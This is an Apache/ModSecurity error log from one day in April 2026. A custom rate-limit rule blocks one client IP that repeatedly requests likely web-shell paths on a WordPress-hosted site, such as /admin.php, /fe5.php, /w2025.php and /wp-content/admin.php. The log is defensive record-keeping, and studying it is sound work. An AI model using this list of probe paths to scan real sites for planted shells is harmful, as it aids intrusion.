[Thu Apr 09 18:34:02.142297 2026] [:error] [pid 24517:tid 24595] [client 20.215.65.153:62682] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adeAmnboYEn2ZFM_PS9xewAAAJU"]
[Thu Apr 09 18:34:02.654015 2026] [:error] [pid 24516:tid 24568] [client 20.215.65.153:63987] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adeAmthW7vSS-UkeWCUfJgAAAFU"]
[Thu Apr 09 18:34:03.543913 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:64696] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adeAm61OMnvM2fMnB1N8FAAAABc"]
[Thu Apr 09 18:34:04.056076 2026] [:error] [pid 24624:tid 24632] [client 20.215.65.153:63988] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adeAnO4Jn-WvK1ZBTvi4HwAAAMY"]
[Thu Apr 09 18:34:05.107437 2026] [:error] [pid 24624:tid 24628] [client 20.215.65.153:64062] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adeAne4Jn-WvK1ZBTvi4IAAAAMI"]
[Thu Apr 09 18:34:05.653644 2026] [:error] [pid 24624:tid 24641] [client 20.215.65.153:64633] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adeAne4Jn-WvK1ZBTvi4IQAAAM8"]
[Thu Apr 09 18:34:06.248624 2026] [:error] [pid 20837:tid 20849] [client 20.215.65.153:64026] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adeAnvSL71FHZkjrGzPLMQAAAYo"]
[Thu Apr 09 18:34:06.849305 2026] [:error] [pid 24624:tid 24634] [client 20.215.65.153:65215] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "adeAnu4Jn-WvK1ZBTvi4IgAAAMg"]
[Thu Apr 09 18:34:07.466655 2026] [:error] [pid 24515:tid 24533] [client 20.215.65.153:64672] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adeAn61OMnvM2fMnB1N8GwAAAA4"]
[Thu Apr 09 18:34:08.221853 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:64650] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adeAoK1OMnvM2fMnB1N8HQAAAAU"]
[Thu Apr 09 18:34:08.981125 2026] [:error] [pid 24927:tid 24938] [client 20.215.65.153:65194] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adeAoDXObuzEuw8mNJv0QAAAAQg"]
[Thu Apr 09 18:34:09.726927 2026] [:error] [pid 24515:tid 24536] [client 20.215.65.153:65141] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adeAoa1OMnvM2fMnB1N8IAAAABE"]
[Thu Apr 09 18:34:10.260132 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:64643] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adeAoq1OMnvM2fMnB1N8IgAAABc"]
[Thu Apr 09 18:34:10.831784 2026] [:error] [pid 24515:tid 24519] [client 20.215.65.153:64028] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adeAoq1OMnvM2fMnB1N8JAAAAAA"]
[Thu Apr 09 18:34:11.839981 2026] [:error] [pid 24515:tid 24523] [client 20.215.65.153:64049] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adeAo61OMnvM2fMnB1N8JQAAAAQ"]
[Thu Apr 09 18:34:12.893436 2026] [:error] [pid 24624:tid 24648] [client 20.215.65.153:64585] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "adeApO4Jn-WvK1ZBTvi4JwAAANY"]
[Thu Apr 09 18:34:14.128840 2026] [:error] [pid 24927:tid 24931] [client 20.215.65.153:64050] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adeApjXObuzEuw8mNJv0QgAAAQE"]
[Thu Apr 09 18:34:15.196719 2026] [:error] [pid 24927:tid 24930] [client 20.215.65.153:63240] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adeApzXObuzEuw8mNJv0QwAAAQA"]
[Thu Apr 09 18:34:15.972567 2026] [:error] [pid 24927:tid 24936] [client 20.215.65.153:63952] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adeApzXObuzEuw8mNJv0RQAAAQY"]
[Thu Apr 09 18:34:16.711496 2026] [:error] [pid 24624:tid 24643] [client 20.215.65.153:65122] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sf.php"] [unique_id "adeAqO4Jn-WvK1ZBTvi4LAAAANE"]
[Thu Apr 09 18:34:17.598974 2026] [:error] [pid 24927:tid 24953] [client 20.215.65.153:64636] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adeAqTXObuzEuw8mNJv0SgAAARc"]
[Thu Apr 09 18:34:18.407622 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:63937] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adeAqsDe826HlFeoLPJ6DgAAAUk"]
[Thu Apr 09 18:34:19.535304 2026] [:error] [pid 24624:tid 24629] [client 20.215.65.153:61444] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adeAq-4Jn-WvK1ZBTvi4LgAAAMM"]
[Thu Apr 09 18:34:20.479514 2026] [:error] [pid 24927:tid 24951] [client 20.215.65.153:64638] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no1.php"] [unique_id "adeArDXObuzEuw8mNJv0UgAAARU"]
[Thu Apr 09 18:34:21.581153 2026] [:error] [pid 24517:tid 24580] [client 20.215.65.153:65140] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adeArXboYEn2ZFM_PS9xfwAAAIY"]
[Thu Apr 09 18:34:22.648941 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:65152] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adeArjXObuzEuw8mNJv0WQAAAQ8"]
[Thu Apr 09 18:34:25.167797 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:63238] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adeAsTXObuzEuw8mNJv0XAAAAQw"]
[Thu Apr 09 18:34:26.229279 2026] [:error] [pid 20837:tid 20851] [client 20.215.65.153:64666] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w2025.php"] [unique_id "adeAsvSL71FHZkjrGzPLOQAAAYw"]
[Thu Apr 09 18:34:26.860791 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:64582] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adeAsjXObuzEuw8mNJv0YAAAAQo"]
[Thu Apr 09 18:34:27.540347 2026] [:error] [pid 24624:tid 24635] [client 20.215.65.153:62717] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adeAs-4Jn-WvK1ZBTvi4NwAAAMk"]
[Thu Apr 09 18:34:28.182574 2026] [:error] [pid 24515:tid 24522] [client 20.215.65.153:62595] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adeAtK1OMnvM2fMnB1N8LgAAAAM"]
[Thu Apr 09 18:34:28.712415 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:60359] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fvvff.php"] [unique_id "adeAtK1OMnvM2fMnB1N8MAAAABc"]
[Thu Apr 09 18:34:29.243860 2026] [:error] [pid 24624:tid 24627] [client 20.215.65.153:64661] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adeAte4Jn-WvK1ZBTvi4OAAAAME"]
[Thu Apr 09 18:34:29.797632 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:62643] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adeAtcDe826HlFeoLPJ6FQAAAUU"]
[Thu Apr 09 18:34:30.342762 2026] [:error] [pid 18477:tid 18480] [client 20.215.65.153:64001] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adeAtsDe826HlFeoLPJ6GAAAAUE"]
[Thu Apr 09 18:34:30.915535 2026] [:error] [pid 20837:tid 20849] [client 20.215.65.153:65153] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "adeAtvSL71FHZkjrGzPLPgAAAYo"]
[Thu Apr 09 18:34:31.482187 2026] [:error] [pid 20837:tid 20840] [client 20.215.65.153:64038] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adeAt_SL71FHZkjrGzPLQQAAAYE"]
[Thu Apr 09 18:34:32.047554 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:64674] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adeAuMDe826HlFeoLPJ6GQAAAU0"]
[Thu Apr 09 18:34:32.630634 2026] [:error] [pid 20837:tid 20855] [client 20.215.65.153:64594] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adeAuPSL71FHZkjrGzPLRQAAAZA"]
[Thu Apr 09 18:34:33.365354 2026] [:error] [pid 20837:tid 20862] [client 20.215.65.153:63292] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "adeAufSL71FHZkjrGzPLRgAAAZc"]
[Thu Apr 09 18:34:34.313160 2026] [:error] [pid 24927:tid 24930] [client 20.215.65.153:65172] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adeAujXObuzEuw8mNJv0YwAAAQA"]
[Thu Apr 09 18:34:34.951072 2026] [:error] [pid 20837:tid 20853] [client 20.215.65.153:64002] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adeAuvSL71FHZkjrGzPLSQAAAY4"]
[Thu Apr 09 18:34:35.513035 2026] [:error] [pid 20837:tid 20844] [client 20.215.65.153:62655] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adeAu_SL71FHZkjrGzPLSgAAAYU"]
[Thu Apr 09 18:34:36.268038 2026] [:error] [pid 24624:tid 24631] [client 20.215.65.153:64593] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "adeAvO4Jn-WvK1ZBTvi4OwAAAMU"]
[Thu Apr 09 18:34:37.099857 2026] [:error] [pid 18477:tid 18496] [client 20.215.65.153:62620] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adeAvcDe826HlFeoLPJ6GgAAAVE"]
[Thu Apr 09 18:34:37.841413 2026] [:error] [pid 18477:tid 18495] [client 20.215.65.153:64671] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adeAvcDe826HlFeoLPJ6HQAAAVA"]
[Thu Apr 09 18:34:38.889699 2026] [:error] [pid 24515:tid 24533] [client 20.215.65.153:63255] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adeAvq1OMnvM2fMnB1N8OAAAAA4"]
[Thu Apr 09 18:34:39.511627 2026] [:error] [pid 24515:tid 24537] [client 20.215.65.153:65108] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adeAv61OMnvM2fMnB1N8OgAAABI"]
[Thu Apr 09 18:34:40.265135 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:65124] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adeAwDXObuzEuw8mNJv0ZQAAAQc"]
[Thu Apr 09 18:34:41.049223 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:63979] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adeAwa1OMnvM2fMnB1N8PAAAAAU"]
[Thu Apr 09 18:34:41.737550 2026] [:error] [pid 24515:tid 24540] [client 20.215.65.153:64598] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adeAwa1OMnvM2fMnB1N8PQAAABU"]
[Thu Apr 09 18:34:42.364469 2026] [:error] [pid 24927:tid 24952] [client 20.215.65.153:63994] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adeAwjXObuzEuw8mNJv0aAAAARY"]
[Thu Apr 09 18:34:43.008397 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:64589] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adeAw8De826HlFeoLPJ6JgAAAVM"]
[Thu Apr 09 18:34:43.571766 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:63969] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adeAw8De826HlFeoLPJ6JwAAAUU"]
[Thu Apr 09 18:34:44.261780 2026] [:error] [pid 24624:tid 24638] [client 20.215.65.153:62193] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adeAxO4Jn-WvK1ZBTvi4PAAAAMw"]
[Thu Apr 09 18:34:44.816621 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:65195] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adeAxMDe826HlFeoLPJ6KwAAAUs"]
